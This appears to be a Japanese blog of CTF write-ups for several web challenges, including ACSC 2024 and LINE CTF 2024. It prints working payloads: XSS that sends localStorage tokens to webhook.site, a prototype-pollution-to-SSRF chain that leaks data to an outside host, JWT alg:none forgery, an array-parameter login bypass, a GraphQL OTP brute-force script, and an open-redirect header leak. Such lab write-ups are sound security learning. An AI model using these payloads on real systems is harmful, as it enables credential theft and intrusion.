      PASSWORD: process.env.ADMIN_PASSWORD || '',
    },
  });

(snip)

  await page.evaluate(
    (IdToken: string, AccessToken: string, RefreshToken: string) => {
      const randomNumber = Math.floor(Math.random() * 1000000);
      localStorage.setItem(`CognitoIdentityServiceProvider.${randomNumber}.idToken`, IdToken);
      localStorage.setItem(`CognitoIdentityServiceProvider.${randomNumber}.accessToken`, AccessToken);
      localStorage.setItem(`CognitoIdentityServiceProvider.${randomNumber}.refreshToken`, RefreshToken);
    },
    IdToken,
    AccessToken,
    RefreshToken,
  );

どっちにしろ XSS ができれば盗めるので、そのまま進める。

  const [contentType, ...params] = request.body.contentType.split(';');
  const type = contentType.split('/')[0].toLowerCase();
  const subtype = contentType.split('/')[1].toLowerCase();

  const denyMimeSubTypes = ['html', 'javascript', 'xml', 'json', 'svg', 'xhtml', 'xsl'];
  if (denyMimeSubTypes.includes(subtype)) {
    return reply.code(400).send({ error: 'Invalid file type' });
  }
  const denyStrings = new RegExp('[;,="\'()]');
  if (denyStrings.test(type) || denyStrings.test(subtype)) {
    return reply.code(400).send({ error: 'Invalid Type or SubType' });
  }

[;,="\'()] の条件に当てはまるとアウト
subtype が 'html', 'javascript', 'xml', 'json', 'svg', 'xhtml', 'xsl' だとアウト

これは test a/b とかでどうにでも回避できるが、 /upload/<uuid> でアクセスすると、ファイルとしてダウンロードされてしまう。

改めてファイルアップロードのリクエストを見ると、Content-Disposition: attachment がヘッダについている。
署名の生成を見ると Content-Disposition ヘッダは含まれていないので、消せばOK。

  const url = await getSignedUrl(s3, command, {
    expiresIn: 60 * 60 * 24,
    signableHeaders: new Set(['content-type']),
  });
{"contentType":"test a/b","length":359}

( 消したことがわかりにくいので、ヘッダの名前を変えて消した判定にしている )

PUT /upload/ce788149-53ea-48cb-b853-934904d5ca51?X-Amz-Algorithm=...
Content-Type: test a/b
X-Content-Disposition: attachment

<html><script>
fetch("https://webhook.site/<uuuid>?works");
for (key in localStorage) {
    if (localStorage.hasOwnProperty(key)) {
        fetch("https://webhook.site/<uuid>?key=" + encodeURIComponent(key) + "&value=" + encodeURIComponent(localStorage.getItem(key)));
    }
}
</script></html>

するとIdToken, AccessToken, RefreshToken が手に入るので、idToken をデコードすると flag が見つかる。

flag{c81e728d9d4c2f636f067f89cc14862c}

5. Special

I am ... (medium: 100 pt / solves)

Can you see Flag's Bucket lying deep within GEToken? I am ... Cognito ... ?

ap-northeast-1:05611045-eb46-41e2-9f6c-f41d87547e4d

「GEToken」で急に token 類を盗む問題になった理由がわかった。
idToken が手に入ったので、それを使って S3 の中身を取って来いという問題だ。 *1

これは前提知識が無さ過ぎてひたすらドキュメントを漁って解いたので、writeupに書ける情報が特に何もない。
強いて言うならサンプルコードまで載せてくれているドキュメントこそがwriteupか。

docs.aws.amazon.com

docs.aws.amazon.com

最終的なソースコードは以下。

import {
  S3Client,
  ListBucketsCommand,
  ListObjectsV2Command,
  GetObjectCommand
} from "@aws-sdk/client-s3";
import {fromCognitoIdentityPool} from "@aws-sdk/credential-providers";

const REGION = 'ap-northeast-1';

let COGNITO_ID = "cognito-idp.ap-northeast-1.amazonaws.com/ap-northeast-1_7RCw4isM9";
let loginData = {
  [COGNITO_ID]: "<idToken>",
};

const s3Client = new S3Client({
  region: REGION,
  credentials: fromCognitoIdentityPool({
    clientConfig: { region: REGION },
    identityPoolId: 'ap-northeast-1:05611045-eb46-41e2-9f6c-f41d87547e4d',
    logins: loginData,
  })
});

// const command = new ListBucketsCommand({});
// const { Buckets } = await s3Client.send(command);
// console.log(Buckets); // -> specialflagbucket-5250c0a74f-adv3-special-flag

// const command = new ListObjectsV2Command({
//   Bucket: "specialflagbucket-5250c0a74f-adv3-special-flag"
// });
// const { Contents } = await s3Client.send(command);
// console.log(Contents) // -> flag.txt

const command = new GetObjectCommand({
  Bucket: "specialflagbucket-5250c0a74f-adv3-special-flag",
  Key: "flag.txt",
});
const res = await s3Client.send(command);
console.log(await res.Body.transformToString())

flag{eccbc87e4b5ce2fe28308fd9f2a7baf3}

*1:AWS知らな過ぎて : が s3 だとわかるまでも遠かったが

Asian Cyber Security Challenge 2024 Writeups

Login! (web: 100 pt / 189 solves)

Here comes yet another boring login page ...

Login! - TOP

シンプルなログインフォーム。100ptだしSQLiかな~とか考えながらソースを開く。

const USER_DB = {
    user: {
        username: 'user', 
        password: crypto.randomBytes(32).toString('hex')
    },
    guest: {
        username: 'guest',
        password: 'guest'
    }
};

USER_DB には user と guest の二つのユーザがいる。
guest はパスワード guest で固定なのに対して、user のパスワードは推測困難。

次はログイン時の処理。

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username.length > 6) return res.send('Username is too long');

    const user = USER_DB[username];
    if (user && user.password == password) {
        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {
        res.send('Invalid username or password');
    }
});

ユーザ入力として受け取った username を使い USER_DB[username] を user として保存後、
user が undefined でない && user.password が入力値の password と等しいときにログイン成功。

ログイン後にユーザ名が guest でなければ flag がもらえるようだ。

途中でユーザ名の長さを制限していることに気付く。

    if (username.length > 6) return res.send('Username is too long');

こういう書き方をされると、反射で配列にしたくなる呪いにかかっている。

以下のようにすれば username.length は 1 となり、USER_DB[username] は username に暗黙的な toString がされて guest でログインが成功するはず。

username[]=guest&password=guest

username を配列で送信しているので username === 'guest' は当然 false となり、flag が返ってくる。

ACSC{y3t_an0th3r_l0gin_byp4ss}

Too Faulty (web: 150 pt / 67 solves)

The admin at TooFaulty has led an overhaul of their authentication mechanism. This initiative includes the incorporation of Two-Factor Authentication and the assurance of a seamless login process through the implementation of a unique device identification solution.

ソースコードなし

Too Faulty - TOP

またログインフォーム。今度は Register があるので、とりあえず登録してログインしてみる。

Too Faulty - login後

適当な認証情報でログインすると role: user と言われるので、権限昇格か role: admin なアカウントの奪取が目的かな~となる。
2FA をセットアップできるので、やってみる。

Too Faulty - setup 2fa

スマホアプリ等で読み込めば 2FA の設定ができる。一度ログアウトしてログインしなおしてみる。

Too Faulty - 2fa

今度は 2FA の画面が出てきた。丁寧に CAPTCHA もついてる。
Trust only this devide をオンにすると、その端末からはそれ以降 2FA が必要なくなる。User-Agent か何かで見てるのかなと考える。

認証後はさっきと変わらず Setup 2FA と Logout しかないページとなるので、これで機能は全部だろうか。
ちなみに Setup 2FA はアカウント毎に 1 度しか利用できないようだった。

「完全エスパーで変なパラメーター名とかはレビューで弾かれるだろう」と信じて権限昇格を試みる。
ユーザ登録やログインなどの処理にすべて "role": "admin" とかのパラメータをつけて送信してみるが反応なし。

「完全エスパーで変な認証情報とかはレビューで弾かれるだろう」と信じて role: admin アカウントの奪取を試みる。
admin:admin としてログインしてみたところ、Verify 2FA の画面が出てきた。
ちなみに環境が共有なので他の参加者が作成してることも考えられるが、定期的なデータベースリセットで自分のアカウントが消えても admin:admin は残存していることを確認できたのでこれで間違いなさそう。

この時点で二つの方針を考えていた。

  • Verify 2FA 画面の「Trust only this」を利用して admin:admin のデバイスを総当たり
  • 認証のロジックのバグをついてガチャガチャやる

前者はかなり気が滅入るので、後者でガチャガチャやっていたら以下で行けた。

  1. 適当なアカウントでログイン後、Cookie の connect.sid を取得
  2. Cookie を付与して admin:admin でログイン

勝手に /2FA -> / とリダイレクトしていってログイン成功した判定になった。ラッキー。

ACSC{T0o_F4ulty_T0_B3_4dm1n}

Buggy Bounty (web: 275 pt / 54 solves)

Are you a skilled security researcher or ethical hacker looking for a challenging and rewarding opportunity? Look no further! We're excited to invite you to participate in our highest-paying Buggy Bounty Program yet.

id, url, explanation を送信するフォーム。

Buggy Bounty - TOP

送信時、botが動く。

router.post("/report_bug", async (req, res) => {
  try {
    const id = req.body.id;
    const url = req.body.url;
    const report = req.body.report;
    await visit(
      `http://127.0.0.1/triage?id=${id}&url=${url}&report=${report}`,
      authSecret
    );

bot は指定されたパラメーターで /triage にアクセスするのみ。

const visit = async (url, authSecret) => {
  try {
    const browser = await puppeteer.launch(browser_options);
    let context = await browser.createIncognitoBrowserContext();
    let page = await context.newPage();

    await page.setCookie({
      name: "auth",
      value: authSecret,
      domain: "127.0.0.1",
    });
    
    await page.goto(url, {
      waitUntil: "networkidle2",
      timeout: 5000,
    });
    await page.waitForTimeout(4000);
    await browser.close();

/triage は以下のとおり。

router.get("/triage", (req, res) => {
  try {
    if (!isAdmin(req)) {
      return res.status(401).send({
        err: "Permission denied",
      });
    }
    let bug_id = req.query.id;
    let bug_url = req.query.url;
    let bug_report = req.query.report;

    return res.render("triage.html", {
      id: bug_id,
      url: bug_url,
      report: bug_report,
    });
    <div id="screen">
      <p class="font" id="product">Report ID:~$ {{id}}</p>
      <p class="font" id="product">Report URL:~$ {{url}}</p>
      <p class="font">Report:~$ {{report}}</p>
    </div>

/triage にあった isAdmin を見てみる。

const isAdmin = (req, res) => {
  return req.ip === "127.0.0.1" && req.cookies["auth"] === authSecret;
};

127.0.0.1 かつ Cookie が正しくないとアクセスできないらしい。

通常の遷移で使われていないエンドポイントがひとつ。/check_valid_url は ssrfFilter を使いながら proxy 的に動いてくれる。

const ssrfFilter = require("ssrf-req-filter");

(snip)

router.get("/check_valid_url", async (req, res) => {
  try {
    if (!isAdmin(req)) {
      return res.status(401).send({
        err: "Permission denied",
      });
    }

    const report_url = req.query.url;
    const customAgent = ssrfFilter(report_url);
    
    request(
      { url: report_url, agent: customAgent },
      function (error, response, body) {
        if (!error && response.statusCode == 200) {
          res.send(body);

flag は別のコンテナにあり、ポートは外部に開いてないのでさっきの ssrfFilter を回避しながら盗めるのかなと考える。

@app.route('/bounty', methods=['GET'])
def get_bounty():
    flag = os.environ.get('FLAG')
    if flag:
        return flag

とりあえず、bot が /triage にアクセスしたときにどうにかして XSS しないと始まらない。
isAdmin をコメントアウトしてガチャガチャやっていたら、arg.js の v1.4 で Arg.parse を使っている。

var params = Arg.parse(location.search);

Prototype Pollution が既知らしいので、これが使えそう。

github.com

後はガジェット探しだが、「謎に読み込んでる launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.min.js は何のファイルなんだろう・・・」と調べたら一瞬でガジェットが見つかった。

github.com

?__proto__[SRC]=<img/src/onerror%3dalert(1)> でアラートが確認できた。

Buggy Bounty - alert

後は XSS 経由で /check_valid_url で SSRF がしたい。ガチャガチャやっていたらよくわからないがリダイレクトで行けた。
Location: http://reward:5000/bounty を発行するサーバを準備して、URLを指定すると flag が表示される。

http://localhost/check_valid_url?url=https://example.jp

flag が同じドメイン内に表示できたので、後はそれを盗んでやるだけ。

fetch("/check_valid_url?url=https://example.jp")
    .then((r) => r.text())
    .then((t) => { fetch("https://example.jp?" + t) })

最終的なURLは以下。URLエンコードとにらめっこしながら頑張った。

http://localhost/triage?id=1111&url=gheogheo&report=a&__proto__[SRC]=%3Cimg/src/onerror%3D%27fetch(%22%2Fcheck_valid_url%3Furl%3Dhttps%3A%2F%2Fexample.jp%22).then((r)%3D%3Er.text()).then((t)%3D%3E%7Bfetch(%22https%3A%2F%2Fexample.jp%3F%22%2Bt)%7D)%27%3E

ということで、id と url を適当に埋めて report に a&__proto__[SRC]=%3Cimg/src/onerror%3D%27fetch(%22%2Fcheck_valid_url%3Furl%3Dhttps%3A%2F%2Fexample.jp%22).then((r)%3D%3Er.text()).then((t)%3D%3E%7Bfetch(%22https%3A%2F%2Fexample.jp%3F%22%2Bt)%7D)%27%3E の部分を渡せば flag が手に入る。

ACSC{y0u_4ch1eved_th3_h1ghest_r3w4rd_1n_th3_Buggy_Bounty_pr0gr4m}

LINE CTF 2024 Writeups

関わった問題のみ書いていきます

jalyboy-baby (web: 100 pt / 428 solves)

It's almost spring. I like spring, but I don't like hay fever.

問題ファイルが配布されていたが、読んでいない。

jalyboy-baby - TOP

「login as guest」と「login as admin」のボタンがあり、admin の方は押せない。
試しに guest をの方を押してみると以下に遷移する。

/?j=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJndWVzdCJ9.rUKzvxAwpuro6UF6KETwbMPCLBsPGUScjSEZtQGjfX4

JWTだ。デコードして中身を見ていく。

header = {
  "alg": "HS256"
}

payload = {
  "sub": "guest"
}

signature = rUKzvxAwpuro6UF6KETwbMPCLBsPGUScjSEZtQGjfX4

baby と名前がついてて warmup 感があるので、とりあえず常套手段の alg: none にしてみる。

eyJhbGciOiJub25lIn0.eyJzdWIiOiJndWVzdCJ9.

jalyboy-baby - alg none

特にエラーが出ることも無く「Hi guest!」と帰ってくるので、payload の sub を admin に書き換えてフィニッシュ。

eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.

jalyboy-baby - flag

LINECTF{337e737f9f2594a02c5c752373212ef7}

発展問題の jalyboy-jalygirl は悩んでいたらシュッと解かれていた。
CVE-2022-21449 の Psychic Signatures を使うらしい。初耳。

graphql-101 (web: 176 pt / 28 solves)

Hello, I've just learned graphql by following tutorial of express graphql server. I hope nothing goes wrong.

GraphQL 101 - TOP

opt のチェックが40個ある。全問正解するとflagがもらえるようだ。

まず、optの生成について読んでいくと、以下のことがわかってくる。

  • ユーザ名は admin のみサポートしている
  • Object.create(null) で生成しているので、Prototypeガチャガチャは厳しそう
  • admin 要素の配下にIPアドレス毎に opt が生成されていく
  • 0~999 の範囲で 40 個の otp を生成している
const STRENGTH_CHALLENGE = 999;
const NUM_CHALLENGE = 40;

(snip)

// Currently support admin only
var otps = Object.create(null);
otps["admin"] = Object.create(null);
function genOtp(ip, force = false) {
  if (force || !otps["admin"][ip]) {
    function intToString(v) {
      let s = v.toString();
      while (s.length !== STRENGTH_CHALLENGE.toString().length) s = '0' + s;
      return s;
    }
    const otp = [];
    for (let i = 0; i < NUM_CHALLENGE; ++i) 
      otp.push(
        intToString(crypto.randomInt(0, STRENGTH_CHALLENGE))
      );
    otps["admin"][ip] = otp;
  }
}

実際の opts は以下のような感じ。

[Object: null prototype] {
  admin: [Object: null prototype] {
    '::ffff:172.18.0.1': [
      '374', '656', '189', '914', '089',
      '843', '656', '442', '267', '584',
      '797', '430', '205', '140', '473',
      '019', '459', '208', '287', '373',
      '292', '679', '158', '375', '767',
      '044', '224', '528', '868', '100',
      '897', '952', '040', '298', '891',
      '711', '507', '023', '266', '186'
    ]
  }
}

opt の検証は graphql のエンドポイントで実行されていて、128byte までのサイズ制限及び 30 分に 5 回までの制限がかかっている。

const rateLimiter = require('express-rate-limit')({
  windowMs: 30 * 60 * 1000,
  max: 5,
  standardHeaders: true,
  legacyHeaders: false,
  onLimitReached: async (req) => genOtp(req.ip, true)
});

(snip)

app.use((req, res, next) => { genOtp(req.ip); next() });
app.use(require('body-parser').json({ limit: '128b' }));
app.use(
  "/graphql",
  rateLimiter,
  graphqlHTTP({
    schema: schema,
    rootValue: root,
  })
);

Username に yoden、 Otp 0 に 111 を入力したときに POST されるデータは以下。

{"query":"query{otp(u:\"yoden\",i:0,otp:\"111\")}","variables":{}}

検証の流れを見ていく。

function checkOtp(username, ip, idx, otp) {
  if (!otps[username]) return false;
  if (!otps[username][ip]) return false;
  return otps[username][ip][idx] === otp;
}

// Construct a schema, using GraphQL schema language
const schema = buildSchema(`
  type Query {
    otp(u: String!, i: Int!, otp: String!): String!
  }
`);

// The root provides a resolver function for each API endpoint
const root = {
  otp: ({ u, i, otp }, req) => {
    if (i >= NUM_CHALLENGE || i < 0) return ERROR_MSG;
    if (!checkOtp(u, req.ip, i, otp)) return ERROR_MSG;
    rateLimiter.resetKey(req.ip);
    otps[u][req.ip][i] = 1;
    return CORRECT_MSG;
  },
}

opt 正解時に rateLimiter.resetKey(req.ip); でレートリミットがリセットされるため、連続して正解している間はレートリミットを無視できる。
また、 otps[u][req.ip][i] = 1; により opt が 1 で上書きされて opts は以下のようになる。

[Object: null prototype] {
  admin: [Object: null prototype] {
    '::ffff:172.18.0.1': [
      1,     '236', '662', '599', '991',
      '591', '815', '917', '551', '292',
      '906', '569', '932', '557', '945',
      '713', '012', '322', '076', '254',
      '653', '113', '237', '295', '956',
      '413', '470', '506', '138', '769',
      '527', '116', '397', '209', '872',
      '658', '300', '549', '305', '039'
    ]
  }
}

二つのことから一度 Otp 0 に正解した後に 5 回に 1 回 Otp 0 に 1 で答えることでレートリミットを無視して 2 問目以降にチャレンジできそうに思えたが、schema で opt が String に制限されているので int の 1 を送信することは不可。型が一致しないため、 checkOtp で opt の正誤判定 === を抜けれない。

どうにかして 40 問正解した後、/admin にアクセスすることで flag が手に入る。

app.get('/admin', (req, res) => {
  let sum = 0;
  for (let i = 0; i < NUM_CHALLENGE; ++i)
    sum += otps["admin"][req.ip][i];
  res.send((sum === NUM_CHALLENGE) ? process.env.FLAG : ERROR_MSG);
});

また、req.url 及び req.query について waf が用意されている。

// Secure WAF !!!!
const { isDangerousPayload, isDangerousValue } = require('./waf');
app.use((req, res, next) => {
  if (isDangerousValue(req.url)) return res.send(ERROR_MSG);
  if (isDangerousPayload(req.query)) return res.send(ERROR_MSG);
  next();
});

isDangerousValue は admin か \ が含まれているとNG
isDangerousPayload はオブジェクトに key と value それぞれに isDangerousValue を呼び出す。valueがオブジェクトな場合は再帰してチェックしていく。

function isDangerousValue(s) {
  return s.includes('admin') || s.includes('\\'); // Linux does not need to support "\"
}

/** Secured WAF for admin on Linux
*/
function isDangerousPayload(obj) {
  if (!obj) return false;
  const keys = Object.keys(obj);
  for (let i = 0; i < keys.length; ++i) {
    const key = keys[i];
    if (isDangerousValue(key)) return true;
    if (typeof obj[key] === 'object') {
      if (isDangerousPayload(obj[key])) return true;
    } else {
      const val = obj[key].toString();
      if (isDangerousValue(val)) return true;
    }
  }
  return false;
}

そのため /admin にアクセスできないが、これは express のサーバなので /Admin にアクセスすることで waf に検知されずにアクセスできる。

レートリミット対策に otp を複数一気に遅れないかなと思っていたが、エラー。

query{
    otp(u: "admin",i: 0,otp: "000"),
    otp(u: "admin",i: 0,otp: "001")
}

Fields "otp" conflict because they have differing arguments. Use different aliases on the fields to fetch both if this was intentional.

ここで悩んでいたら、なんと alias なるものがあるらしい。 *1

query{
    a0:otp(u: "admin",i: 0,otp: "000"),
    a1:otp(u: "admin",i: 0,otp: "001")
}

{"data":{"a0":"Wrong !!!","a1":"Wrong !!!"}}

これで otp を一度に複数回実行できるようになった。

ただ POST の Body は 128byte までのサイズ制限があるので、このまま追加していたらすぐ引っかかる。

app.use(require('body-parser').json({ limit: '128b' }));

express-graphql のソースを読んでいたら、 query は GET のクエリパラメータでも実行できることを思い出した。
「mutation じゃないのに更新してるの使えるかな~」と考えていたのでちょっとスッキリ。

GET /graphql?query=query{a0%3aotp(u%3a"yoden",i%3a0,otp%3a"000")a1%3aotp(u%3a"yoden",i%3a0,otp%3a"001")} HTTP/1.1
Host: localhost:7654

{"data":{"a0":"Wrong !!!","a1":"Wrong !!!"}}

waf のせいで u に admin の文字が入れれない。unicodeでバイパスしたくても \ も入れれない。

再度 express-graphql のソースを読んでいたら、query や valiables をクエリパラメータとボディにバラバラに配置することが可能ということがわかった。
以下のような形で、waf と サイズ制限を回避しながら otp を複数同時に実行できる。

POST http://localhost:7654/graphql?query=query+($u:String!){a1:otp(u%3a$u,i%3a+0,+otp%3a"001"),a2:otp(u%3a$u,i%3a+0,+otp%3a"002")} HTTP/1.1
Host: localhost:7654
Content-Length: 29
Content-Type: application/json


{"variables":{"u":"admin"}}

1000個同時はデカすぎてエラーになるので、行儀よく200個ずつに分割して送る。

import requests
import time

target = "http://localhost:7654"

variables = {"variables": {"u": "admin"}}

for i in range(40):
    for j in [0, 200, 400, 600, 800]:
        print(f"i={i}, j={j}")
        otps = "".join(
            [f'a{x:03}:otp(u:$u,i:{i},otp:"{x:03}")' for x in range(j, j + 199)]
        )

        res = requests.post(
            f'{target}/graphql?query=query($u:String!){{{otps}}}',
            json=variables,
        )
        time.sleep(0.1)

        if "OK !!!" in res.text:
            print("break")
            break

res = requests.get(f"{target}/Admin")
print(res.text)

LINECTF{db37c207abbc5f2863be4667129f70e0} *2

hhhhhhhref (web: 257 pt / 12 solves)

Are they specifications or are they vulnerabilities? What do you think?

build_local.md に従って環境を作ってビルドする。 .env は配布してほしいきもち。。

hhhhhhhref - TOP

register, login, redirect, crawler の 4 つの機能がある。

register, login は想像のとおりの機能だし、redirect は admin にしか使えないらしいので crawler から見ていく。

            // login
            await page.goto(`${process.env.NEXTAUTH_URL}/api/auth/signin?callbackUrl=/`);
            await page.type("#input-name-for-credentials-provider", username);
            await page.type("#input-password-for-credentials-provider", password);
    
            await Promise.all([
                page.waitForNavigation(),
                page.click("button[type=submit]"),
            ]);
    
            // crawl with provided code
            await page.setExtraHTTPHeaders({
                "X-LINECTF-FLAG": process.env.FLAG
            });
            await page.goto(`${process.env.NEXTAUTH_URL}/rdr?errorCode=${code}`);
            await delay(1500);

username , password でログインした後、 HTTP ヘッダに flag を付けた状態で /rdr?errorCode=${code} にアクセスする。username , password , code の3つはどれもユーザ入力。

この rdr はさっき redirect とされていた機能で、先述の通り admin しか使えない。まずはこれにアクセスできないといけないので、そこの制限について見ていく。

    const userData = await redis.hgetall(session.user.userId);
    redis.disconnect();

    // are you ADMIN?
    if (
        userData.userRole === 'ADMIN' &&
        userData.adminSecretToken === process.env.ADMIN_SECRET_TOKEN
    ) {
        return { props: { errorCode: errorCode } };
    }

    // are you USER?
    if (userData.userRole === 'USER' && Object.keys(userData).length === 3) {
        return {
            redirect: {
                permanent: false,
                destination: '/error/403',
            },
            props: {},
        };
    } else {
        return { props: { errorCode: errorCode } };
    }

userRole が ADMIN であるか、 userRole が USER であり Object.keys(userData).length が 3 でないときに使えることがわかる。
userData は redis.hgetall(session.user.userId) なので、redis を見に行く。

hhhhhhhref_redis はログイン状態のユーザ情報を管理している。

$ docker exec -it hhhhhhhref_redis bash
root@9070729cd2c2:/data# redis-cli
127.0.0.1:6379> keys *
1) "USER_clu6q8g0c0000snm3stc9qhqc"
127.0.0.1:6379> hgetall USER_clu6q8g0c0000snm3stc9qhqc
1) "userName"
2) "yoden"
3) "userRole"
4) "USER"
5) "userSecretToken"
6) "34ab8757-09de-47ae-9da8-8577cf601d81"

この時の userData のイメージは以下。

{
    userName: 'yoden',
    userRole: 'USER',
    userSecretToken: '34ab8757-09de-47ae-9da8-8577cf601d81'
}

これでは Object.keys(userData).length が 3 でなくなることなど無さそうだが、完全に要らないコードが書いてあるということは考えにくいので増やすか減らす術があるのだろう。それぞれ見ていく。

username は数字アルファベット大文字小文字のみが利用可能で、 "admin" 以外の一文字以上。
これでできることはほぼ無さそう。

async function register(req: any, res: any) {
    const { name, password } = req.body;

    if (name.length < 1 || password.length < 1) {
        return res.status(400).end();
    }

    if (/[^0-9a-zA-Z].*/.test(name)) {
        return res.status(400).end();
    }

    if (name.toLowerCase() === 'admin') {
        return res.status(400).end();
    }

userRole が ADMIN になるのは userName が admin のとき。つまり無理。

                if (credentials?.name === 'admin') {
                    const userId = 'ADMIN_' + loginUser.id;
                    const userName = loginUser.name;
                    const userRole = 'ADMIN';

                    redis.hset(userId, 'userName', userName);
                    redis.hset(userId, 'userRole', userRole);
                    redis.hset(
                        userId,
                        'adminSecretToken',
                        process.env.ADMIN_SECRET_TOKEN as string
                    );

                    return {
                        userId,
                        name: userName,
                        role: userRole,
                    };

(snip)

                const userId = 'USER_' + loginUser.id;
                const userName = loginUser.name;
                const userRole = 'USER';
                const normalUser = {
                    userId,
                    name: userName,
                    role: userRole,
                };

USER の時に userSecretToken 周りの処理が続く。

                // NOTE: the following will ONLY be executed on first login after registration
                if (!(await redis.exists(userId))) {
                    if (!req.headers) {
                        return null;
                    }

                    // prevent overwriting of default keys
                    if (req.headers['x-user-token-key']) {
                        if (
                            ['username', 'userrole'].includes(
                                req.headers['x-user-token-key'].toLowerCase()
                            )
                        ) {
                            return null;
                        }
                    }

                    // set default values
                    const defaultKey = 'userSecretToken';
                    req.headers['x-user-token-key'] =
                        req.headers['x-user-token-key'] || defaultKey;
                    req.headers['x-user-token-value'] =
                        req.headers['x-user-token-value'] ||
                        crypto.randomUUID().toString();

                    // save registered user info in redis
                    redis.hset(userId, 'userName', userName);
                    redis.hset(userId, 'userRole', userRole);
                    redis.hset(
                        userId,
                        req.headers['x-user-token-key'].toString(),
                        req.headers['x-user-token-value'].toString()
                    );
                }

Redis に ユーザIDの key が存在しないとき、req.headers['x-user-token-key'] をオブジェクトの key として req.headers['x-user-token-value'] の値をセットできる。
「Redis に ユーザIDの key が存在しないとき」はコメントを信じるなら register 直後の一度のみだが、ログアウト時に以下の処理で全部削除されるので「該当ユーザがログインしていない時」となる。

    await redis.del(session.user.userId);

さて、ここで重要なのが「オブジェクトのkeyを操作可能」なこと。

以下のようなリクエストを送信する

POST /api/auth/callback/credentials HTTP/1.1
Host: hhhhhhhref:3000
Origin: http://hhhhhhhref:3000
Content-Type: application/x-www-form-urlencoded
Cookie: next-auth.csrf-token=21130de4106122a9ff6cf38d071376c65a1e326220d160ea0667101297b9279f%7C4ab1c2bc2473d7440929037c846fbb06d2f484c8e929745ea90967981796273b; next-auth.callback-url=http%3A%2F%2Fhhhhhhhref%3A3000
Content-Length: 100
x-user-token-key: test

csrfToken=21130de4106122a9ff6cf38d071376c65a1e326220d160ea0667101297b9279f&name=yoden&password=yoden

その後ログインすると、Redis 内の値がこうなる。

127.0.0.1:6379> hgetall USER_clu6q8g0c0000snm3stc9qhqc
1) "userName"
2) "yoden"
3) "userRole"
4) "USER"
5) "test"
6) "989e99a3-e331-450a-830a-e3b38835ac36"

この時の userData はこう。

{
    userName: 'yoden',
    userRole: 'USER',
    test: '34ab8757-09de-47ae-9da8-8577cf601d81'
}

こうなったときに使えそうなのが __proto__ 。
x-user-token-key ヘッダを __proto__ として送信する。

POST /api/auth/callback/credentials HTTP/1.1
Host: hhhhhhhref:3000
Origin: http://hhhhhhhref:3000
Content-Type: application/x-www-form-urlencoded
Cookie: next-auth.csrf-token=21130de4106122a9ff6cf38d071376c65a1e326220d160ea0667101297b9279f%7C4ab1c2bc2473d7440929037c846fbb06d2f484c8e929745ea90967981796273b; next-auth.callback-url=http%3A%2F%2Fhhhhhhhref%3A3000
Content-Length: 100
x-user-token-key: __proto__

csrfToken=21130de4106122a9ff6cf38d071376c65a1e326220d160ea0667101297b9279f&name=yoden&password=yoden

すると、 yoden:yoden でログインしたときに Object.keys(userData).length が 2 になり、 admin 用の機能である redirect が使えるようになった。

では rdr を読んでいく。

    const handler = () => {
        const newUrl = document.getElementsByClassName(
            'redirect_url'
        )[0] as HTMLAnchorElement;
        window.location.href = newUrl.href;
    };

    useEffect(() => {
        setTimeout(() => {
            handler();
        }, 500);
(snip)

                <Link
                    href={{
                        pathname: `/report/error/${props.errorCode}`,
                    }}
                    className="redirect_url"
                    target="_blank"
                >

errorCode が href に反映され、自動でリダイレクトする。いかにもオープンリダイレクトしてほしそう。
手元で試したら、ここで他ドメインにリダイレクトしたときにもちゃんとHTTPヘッダが引き継がれていたので、flagが盗めそう。

まず思いつくのは /report/error/${props.errorCode} なので ../../foobar で任意のパスを指定できそうなこと。
/rdr?errorCode=../../foo/bar としたら、リダイレクト先が /foo/bar になった。
だがこれでは他ドメインに飛べない。任意のパスでオープンリダイレクトできそうな箇所を探す。

しばらくして、 /rdr?errorCode=../../foo/bar?url=example.com としたときにリダイレクト時のURLが /foo/bar%3Furl=example.com となることに気付いた。
? がエンコードされてしまうので、これではクエリパラメータが使えない。パス部分だけでオープンリダイレクトを探すとなると希望は薄い。

アプリケーション内には何もなく、Webできる人総動員でnext-auth のソースを読みに行っても何も見つからず。
「無理じゃ~ん」と諦めながらブラウザ側でデバッグしてみたらURLが正規化されている。

hhhhhhhref - redirect

いろいろと試してみる。

errorCode href
foo /report/error/foo
../../foo /foo
../..//foo /foo
../..////////foo /foo
%0afoo /report/error/foo

連続した / は一つにまとめられ、 URL的に invalid な改行などは消される。
そして、ガチャガチャしていたら ../../%0a/foo で //foo になった。

/rdr?errorCode=../../%0a/example.com これで example.com に飛ばせる。
あとは crawler に投げるだけ。

POST /api/bot/crawl HTTP/1.1
Host: hhhhhhhref:3000
Content-Length: 117
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://hhhhhhhref:3000
Referer: http://hhhhhhhref:3000/crawl
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Cookie: next-auth.csrf-token=21130de4106122a9ff6cf38d071376c65a1e326220d160ea0667101297b9279f%7C4ab1c2bc2473d7440929037c846fbb06d2f484c8e929745ea90967981796273b; next-auth.callback-url=http%3A%2F%2Fhhhhhhhref%3A3000%2F; 
Connection: close

{"name":"yoden","password":"yoden","errorCode":"../../%0a/webhook.site/..."}

URLの - にURLエンコードが必要なことに気付かずに実行してて、全然リクエスト来なくてめちゃめちゃ焦った。

LINECTF{7320a1b512380dd4e0452f9fc3166201} *3

*1:よく読んだら「違う alias 使ってね」って書いてあった。。。「Fields "otp" conflict」までしか読んでなかった。。。

*2:この問題に結構な時間をかけていた間に他のWeb問題がなぎ倒されていたし、この問題も巻き添えを喰らっていて最後まで解いたのは自分じゃないけど、後日ちゃんと自分でスクリプトを書いた。偉い。

*3:実は参戦した時点でオープンリダイレクトをすれば良いところまでは進んでいたが、writeupなのでちゃんと1から書いた。偉い。